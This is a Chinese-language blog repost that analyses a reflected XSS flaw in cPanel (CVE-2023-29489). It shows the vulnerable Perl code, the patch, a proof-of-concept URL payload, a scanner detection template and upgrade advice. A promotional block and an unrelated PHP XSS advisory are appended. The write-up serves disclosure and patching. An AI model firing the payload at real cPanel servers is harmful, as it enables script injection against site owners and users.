cPanel XSS漏洞分析研究(CVE-2023-29489)
Posted 蚁景科技
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了cPanel XSS漏洞分析研究(CVE-2023-29489)相关的知识,希望对你有一定的参考价值。
一、漏洞原理
漏洞简述
cPanel 是一套在网页寄存业中最享负盛名的商业软件,是基于于 Linux 和 BSD 系统及以 PHP 开发且性质为闭源软件;提供了足够强大和相当完整的主机管理功能,诸如:Webmail 及多种电邮协议、网页化 FTP 管理、SSH 连线、数据库管理系统、DNS 管理等远端网页式主机管理软件功能。
该漏洞可以无身份验证情况下利用,无论cPanel管理端口2080, 2082, 2083, 2086是否对外开放
漏洞影响范围
供应商:cPanel
产品:cPanel
确认受影响版本:< 11.109.9999.116
修复版本:11.109.9999.116, 11.108.0.13, 11.106.0.18, and 11.102.0.31
漏洞分析
本漏洞的漏洞点来自系统中涉及交互的关键变量未进行转义或过滤处理,导致攻击者可以构造恶意代码作为输入进行利用。
Httpd.pm:
elsif ( 0 == rindex( $doc_path, \'/cpanelwebcall/\', 0 ) )
# First 15 chars are “/cpanelwebcall/”
_serve_cpanelwebcall(
$self->get_server_obj(),
substr( $doc_path, 15 ),
);
上述代码说明任何路径均会被路由到,包括目录后的字符部分。
其中涉及函数_serve_cpanelwebcall:
sub _serve_cpanelwebcall ( $server_obj, $webcall_uri_piece )
require Cpanel::Server::WebCalls;
my $out = Cpanel::Server::WebCalls::handle($webcall_uri_piece);
$server_obj->respond_200_ok_text($out);
return;
其中局部变量out为handle函数的返回值,是参数webcall_uri_piece的处理结果。
sub handle ($request)
my $id = extract_id_from_request($request);
substr( $request, 0, length $id ) = q<>;
Cpanel::WebCalls::ID::is_valid($id) or do
die _http_invalid_params_err("Invalid webcall ID: $id");
;
handle函数主要先从request提取id,之后根据id情况进行处理
sub _http_invalid_params_err ($why)
return Cpanel::Exception::create_raw( \'cpsrvd::BadRequest\', $why );
_http_invalid_params_err函数主要是返回错误信息
进一步分析发现Httpd::ErrorPage下的 message_html变量未做任何处理,可被该漏洞利用
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
补丁部分
在最新版本cPanel可以看到针对该漏洞进行修复
Cpanel/Server/Handlers/Httpd/ErrorPage.pm:
++ use Cpanel::Encoder::Tiny ();
... omitted for brevity ...
++ $varmessage_html = Cpanel::Encoder::Tiny::safe_html_encode_str( $varmessage_html );
二、漏洞复现实战
漏洞复现
首先以某个cPanel target为例
之后根据POC进行复现
POC:
http://example.com/cpanelwebcall/<img%20src=x%20onerror="prompt(1)">aaaaaaaaaaaa
http://example.com:2082/cpanelwebcall/<img%20src=x%20onerror="prompt(1)">aaaaaaaaaaaa
http://example.com:2086/cpanelwebcall/<img%20src=x%20onerror="prompt(1)">aaaaaaaaaaaa
注:其他端口也有可能存在该漏洞
requests:
- method: GET
path:
- \'BaseURL/cpanelwebcall/<img%20src=x%20onerror="prompt(1)">aaaaaaaaaaaa\'
matchers:
- type: word
words:
- \'<img src=x onerror="prompt(1)">\'
执行POC
漏洞修复
建议更新至版本11.109.9999.116、 11.108.0.13 、11.106.0.18 和 11.102.0.31
启用cPanel 自动更新功能
结束语
本文主要介绍了CVE-2023-29489 cPanel XSS漏洞的原理分析及复现过程,漏洞主要由于涉及交互的关键变量未进行转义或过滤处理,从而造成攻击者可以在无身份验证情况下进行利用。
更多网安技能的在线实操练习,请点击这里>>
漏洞预警PHP XSS漏洞(CVE-2018-10547)
PHP XSS漏洞(CVE-2018-10547)
01
漏洞描述
中危
首次发布时间: 2018.04.29
CVE ID:CVE-2018-10547
PHP bug ID: 76129
CNNVD ID:CNNVD-201805-054
CNVD ID : CNVD-2018-08744
中危
首次发布时间: 2018.01.16
CVE ID:CVE-2018-5712
PHP bug ID: 74782
CNNVD ID:CNNVD-201801-586
CNVD ID :CNVD-2018-03157
在多个PHP版本(5.6.36之前的版本、7.0.30之前的7.0.x版本、7.1.17之前的7.1.x版本和7.2.5之前的7.2.x版本)的ext/phar/phar_object.c文件中发现漏洞。通过对.phar文件的请求数据,可在PHAR 403和404错误页面上反射型XSS漏洞。攻击者可利用该漏洞在浏览器中执行任意脚本代码,而不会引起用户的注意。这可能导致基于cookie的身份验证凭据被窃取或发起其它攻击。注意:由于CVE-2018-5712的修复程序不完整而导致的。
02
影响范围
PHP 5.0 prior to 5.6.36
PHP 7.0 prior to 7.0.30
PHP 7.1 prior to 7.1.17
PHP 7.2 prior to 7.2.5
03
修复建议
强烈建议所有PHP 5.6用户更新到5.6.36版本,PHP 7.0用户更新到7.0.30版本,PHP 7.1用户更新到7.1.17版本,PHP 7.2用户更新到7.2.5版本。
04
参考链接
PHP 5.x的修改日志:
http://php.net/ChangeLog-5.php
PHP 7.x的修改日志:
http://php.net/ChangeLog-7.php
PHP官方bug的链接:
https://bugs.php.net/bug.php?id=76129
https://bugs.php.net/bug.php?id=74782
Securityfocus的链接:
https://www.securityfocus.com/bid/104020
声明:本资讯由启明星辰维他命安全小组编译和整理
维他命安全简讯
微信:VitaminSecurity
信息安全那些事儿~
长按二维码关注
以上是关于cPanel XSS漏洞分析研究(CVE-2023-29489)的主要内容,如果未能解决你的问题,请参考以下文章
权限提升Linux Sudo权限提升漏洞(CVE-2023-22809)
Apache Kafka JNDI注入(CVE-2023-25194)漏洞复现浅析
[ 漏洞复现篇 ] Joomla未授权访问Rest API漏洞(CVE-2023-23752)